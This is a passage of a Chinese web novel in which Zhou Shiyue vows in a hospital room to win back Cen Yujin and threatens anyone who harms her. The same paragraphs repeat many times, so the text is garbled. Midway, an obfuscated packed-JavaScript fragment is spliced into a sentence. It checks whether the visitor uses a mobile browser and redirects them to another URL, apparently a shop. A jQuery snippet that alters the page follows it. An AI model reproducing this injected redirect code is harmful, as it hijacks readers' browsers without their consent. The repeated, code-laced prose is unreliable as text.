“从今天起,我周时越,只为岑予衿而活!谁要是敢挡我的路,谁要是敢再伤害她一根手指头,我不介意让他尝尝,什么叫生不如死!” 说完,他猛地推开病房门,身影消失在走廊尽头,只留下一屋子人在原地。 或震惊,或恐惧,或愤怒,只剩下林舒薇崩溃的哭声和何翠玲压抑的啜泣,在寂静的空气里无限放大。 “就算让我当她的情人,当她的备胎,当她身边最不起眼的影子,我都愿意!” 周时越的声音陡然拔高,带着一种破釜沉舟的决绝,“只要能留在她身边,只要能让她多看我一眼,就算是见不得光,就算是被人唾骂,我都不在乎!” 他的手指死死攥着拳头,指节泛白,像是要将自己的血肉捏碎。 “我知道,我知道我没资格,我知道我欠她的太多,我知道她可能永远都不会原谅我……” 他猛地低下头,声音里带着压抑到极致的哽咽,“可我不能放弃,我不能让她就这么从我的生命里消失!” “她是我的命,是我活下去的唯一理由!”周时越的声音陡然变得狠戾,像是一头被激怒的野兽。 “林舒薇,你以为你赢了吗?你以为你能永远霸占着她的位置吗?你错了!只要我还有一口气,只要我还能呼吸,我就会拼尽全力,把她抢回来!” 他猛地转身,目光扫过一屋子人,眼神里的冰冷和决绝让所有人都不寒而栗。 “从今天起,我周时越,只为岑予衿而活!谁要是敢挡我的路,谁要是敢再伤害她一根手指头,我不介意让他尝尝,什么叫生不如死!” 说完,他猛地推开病房门,身影消失在走廊尽头,只留下一屋子人在原地。 或震惊,或恐惧,或愤怒,只剩下林舒薇崩溃的哭声和何翠玲压抑的啜泣,在寂静的空气里无限放大。 “就算让我当她的情人,当她的备胎,当她身边最不起眼的影子,我都愿意!” 周时越的声音陡然拔高,带着一种破釜沉舟的决绝,“只要能留在她身边,只要能让她多看我一眼,就算是见不得光,就算是被人唾骂,我都不在乎!” 他的手指死死攥着拳头,指节泛白,像是要将自己的血肉捏碎。 “我知道,我知道我没资格,我知道我欠她的太多,我知道她可能永远都不会原谅我……” 他猛地低下头,声音里带着压抑到极致的哽咽,“可我不能放弃,我不能让她就这么从我的生命里消失!” “她是我的命,是我活下去的唯一理由!”周时越的声音陡然变得狠戾, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145355|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是一头被激怒的野兽。 “林舒薇,你以为你赢了吗?你以为你能永远霸占着她的位置吗?你错了!只要我还有一口气,只要我还能呼吸,我就会拼尽全力,把她抢回来!” 他猛地转身,目光扫过一屋子人,眼神里的冰冷和决绝让所有人都不寒而栗。 “从今天起,我周时越,只为岑予衿而活!谁要是敢挡我的路,谁要是敢再伤害她一根手指头,我不介意让他尝尝,什么叫生不如死!” 说完,他猛地推开病房门,身影消失在走廊尽头,只留下一屋子人在原地。 或震惊,或恐惧,或愤怒,只剩下林舒薇崩溃的哭声和何翠玲压抑的啜泣,在寂静的空气里无限放大。 “就算让我当她的情人,当她的备胎,当她身边最不起眼的影子,我都愿意!” 周时越的声音陡然拔高,带着一种破釜沉舟的决绝,“只要能留在她身边,只要能让她多看我一眼,就算是见不得光,就算是被人唾骂,我都不在乎!” 他的手指死死攥着拳头,指节泛白,像是要将自己的血肉捏碎。 “我知道,我知道我没资格,我知道我欠她的太多,我知道她可能永远都不会原谅我……” 他猛地低下头,声音里带着压抑到极致的哽咽,“可我不能放弃,我不能让她就这么从我的生命里消失!” “她是我的命,是我活下去的唯一理由!”周时越的声音陡然变得狠戾,像是一头被激怒的野兽。 “林舒薇,你以为你赢了吗?你以为你能永远霸占着她的位置吗?你错了!只要我还有一口气,只要我还能呼吸,我就会拼尽全力,把她抢回来!” 他猛地转身,目光扫过一屋子人,眼神里的冰冷和决绝让所有人都不寒而栗。 “从今天起,我周时越,只为岑予衿而活!谁要是敢挡我的路,谁要是敢再伤害她一根手指头,我不介意让他尝尝,什么叫生不如死!” 说完,他猛地推开病房门,身影消失在走廊尽头,只留下一屋子人在原地。 或震惊,或恐惧,或愤怒,只剩下林舒薇崩溃的哭声和何翠玲压抑的啜泣,在寂静的空气里无限放大。 “就算让我当她的情人,当她的备胎,当她身边最不起眼的影子,我都愿意!” 周时越的声音陡然拔高,带着一种破釜沉舟的决绝,“只要能留在她身边,只要能让她多看我一眼,就算是见不得光,就算是被人唾骂,我都不在乎!” 他的手指死死攥着拳头,指节泛白,像是要将自己的血肉捏碎。 “我知道,我知道我没资格,我知道我欠她的太多,我知道她可能永远都不会原谅我……” 他猛地低下头,声音里带着压抑到极致的哽咽,“可我不能放弃,我不能让她就这么从我的生命里消失!” “她是我的命,是我活下去的唯一理由!”周时越的声音陡然变得狠戾,像是一头被激怒的野兽。 “林舒薇,你以为你赢了吗?你以为你能永远霸占着她的位置吗?你错了!只要我还有一口气,只要我还能呼吸,我就会拼尽全力,把她抢回来!” 他猛地转身,目光扫过一屋子人,眼神里的冰冷和决绝让所有人都不寒而栗。 “从今天起,我周时越,只为岑予衿而活!谁要是敢挡我的路,谁要是敢再伤害她一根手指头,我不介意让他尝尝,什么叫生不如死!” 说完,他猛地推开病房门,身影消失在走廊尽头,只留下一屋子人在原地。 或震惊,或恐惧,或愤怒,只剩下林舒薇崩溃的哭声和何翠玲压抑的啜泣,在寂静的空气里无限放大。 “就算让我当她的情人,当她的备胎,当她身边最不起眼的影子,我都愿意!” 周时越的声音陡然拔高,带着一种破釜沉舟的决绝,“只要能留在她身边,只要能让她多看我一眼,就算是见不得光,就算是被人唾骂,我都不在乎!” 他的手指死死攥着拳头,指节泛白,像是要将自己的血肉捏碎。 “我知道,我知道我没资格,我知道我欠她的太多,我知道她可能永远都不会原谅我……” 他猛地低下头,声音里带着压抑到极致的哽咽,“可我不能放弃,我不能让她就这么从我的生命里消失!” “她是我的命,是我活下去的唯一理由!”周时越的声音陡然变得狠戾,像是一头被激怒的野兽。 “林舒薇,你以为你赢了吗?你以为你能永远霸占着她的位置吗?你错了!只要我还有一口气,只要我还能呼吸,我就会拼尽全力,把她抢回来!” 他猛地转身,目光扫过一屋子人,眼神里的冰冷和决绝让所有人都不寒而栗。 “从今天起,我周时越,只为岑予衿而活!谁要是敢挡我的路,谁要是敢再伤害她一根手指头,我不介意让他尝尝,什么叫生不如死!” 说完,他猛地推开病房门,身影消失在走廊尽头,只留下一屋子人在原地。 或震惊,或恐惧,或愤怒,只剩下林舒薇崩溃的哭声和何翠玲压抑的啜泣,在寂静的空气里无限放大。